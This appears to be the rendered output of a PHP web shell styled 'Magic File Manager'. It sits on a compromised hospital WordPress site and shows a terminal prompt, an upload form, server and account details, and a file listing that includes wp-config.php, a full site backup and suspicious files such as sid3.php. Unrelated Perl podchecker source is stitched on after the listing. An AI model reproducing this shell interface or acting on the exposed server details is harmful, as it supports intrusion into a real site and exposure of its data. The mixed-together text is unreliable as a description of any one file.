✨ Magic File Manager

🚀 Hostinger Optimized
🖥️ Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
🐘 PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$
📂 /homepnj6a06usxf3public_htmlshivshaktihospital.co.in

📁 Create New

⬆️ Upload File

📊 Max upload: 32M | 📦 Max POST: 128M
📄 Name📊 Size🔒 Perm⚡ Actions
📁 .well-known--drwxr-xr-x
📁 shivshaktihospital.com--drwxr-xr-x
📁 wp-admin--drwxr-xr-x
📁 wp-content--drwxr-xr-x
📁 wp-includes--drwxr-xr-x
⚙️ .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log232.974 KB-rw-r--r--
🐘 index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
🐘 log.php63.893 KB-rw-r--r--
🌐 readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
🐘 sid3.php55.304 KB-rw-r--r--
🐘 wp-activate.php7.537 KB-rw-r--r--
🐘 wp-blog-header.php0.343 KB-rw-r--r--
🐘 wp-comments-post.php2.269 KB-rw-r--r--
🐘 wp-config-sample.php3.261 KB-rw-r--r--
🐘 wp-config.php3.16 KB-rw-r--r--
🐘 wp-cron.php5.485 KB-rw-r--r--
🐘 wp-links-opml.php2.435 KB-rw-r--r--
🐘 wp-load.php3.845 KB-rw-r--r--
🐘 wp-login.php51.305 KB-rw-r--r--
🐘 wp-mail.php8.522 KB-rw-r--r--
🐘 wp-settings.php32.375 KB-rw-r--r--
🐘 wp-signup.php34.259 KB-rw-r--r--
🐘 wp-trackback.php5.27 KB-rw-r--r--
🐘 xmlrpc.php3.13 KB-rw-r--r--
✨ File Manager Magic · Hostinger Optimized ✨
#!/usr/bin/perl eval 'exec perl -S $0 "$@"' if 0; ############################################################################# # podchecker -- command to invoke the podchecker function in Pod::Checker # # Copyright (c) 1998-2000 by Bradford Appleton. All rights reserved. # This is free software; you can redistribute it and/or modify it under the # same terms as Perl itself. ############################################################################# use strict; #use diagnostics; =head1 NAME podchecker - check the syntax of POD format documentation files =head1 SYNOPSIS B [B<-help>] [B<-man>] [B<-(no)warnings>] [IS< >...] =head1 OPTIONS AND ARGUMENTS =over 8 =item B<-help> Print a brief help message and exit. =item B<-man> Print the manual page and exit. =item B<-warnings> B<-nowarnings> Turn on/off printing of warnings. Repeating B<-warnings> increases the warning level, i.e. more warnings are printed. Currently increasing to level two causes flagging of unescaped "E,E" characters. =item I The pathname of a POD file to syntax-check (defaults to standard input). =back =head1 DESCRIPTION B will read the given input files looking for POD syntax errors in the POD documentation and will print any errors it find to STDERR. At the end, it will print a status message indicating the number of errors found. Directories are ignored, an appropriate warning message is printed. B invokes the B function exported by B Please see L for more details. =head1 RETURN VALUE B returns a 0 (zero) exit status if all specified POD files are ok. =head1 ERRORS B returns the exit status 1 if at least one of the given POD files has syntax errors. The status 2 indicates that at least one of the specified files does not contain I POD commands. Status 1 overrides status 2. If you want unambiguous results, call B with one single argument only. =head1 SEE ALSO L and L =head1 AUTHORS Please report bugs using L. Brad Appleton Ebradapp@enteract.comE, Marek Rouchal Emarekr@cpan.orgE Based on code for B written by Tom Christiansen Etchrist@mox.perl.comE =cut use Pod::Checker; use Pod::Usage; use Getopt::Long; ## Define options my %options; ## Parse options GetOptions(\%options, qw(help man warnings+ nowarnings)) || pod2usage(2); pod2usage(1) if ($options{help}); pod2usage(-verbose => 2) if ($options{man}); if($options{nowarnings}) { $options{warnings} = 0; } elsif(!defined $options{warnings}) { $options{warnings} = 1; # default is warnings on } ## Dont default to STDIN if connected to a terminal pod2usage(2) if ((@ARGV == 0) && (-t STDIN)); ## Invoke podchecker() my $status = 0; @ARGV = qw(-) unless(@ARGV); for my $podfile (@ARGV) { if($podfile eq '-') { $podfile = '<&STDIN'; } elsif(-d $podfile) { warn "podchecker: Warning: Ignoring directory '$podfile'\n"; next; } my $errors = podchecker($podfile, undef, '-warnings' => $options{warnings}); if($errors > 0) { # errors occurred $status = 1; printf STDERR ("%s has %d pod syntax %s.\n", $podfile, $errors, ($errors == 1) ? 'error' : 'errors'); } elsif($errors < 0) { # no pod found $status = 2 unless($status); print STDERR "$podfile does not contain any pod commands.\n"; } else { print STDERR "$podfile pod syntax OK.\n"; } } exit $status;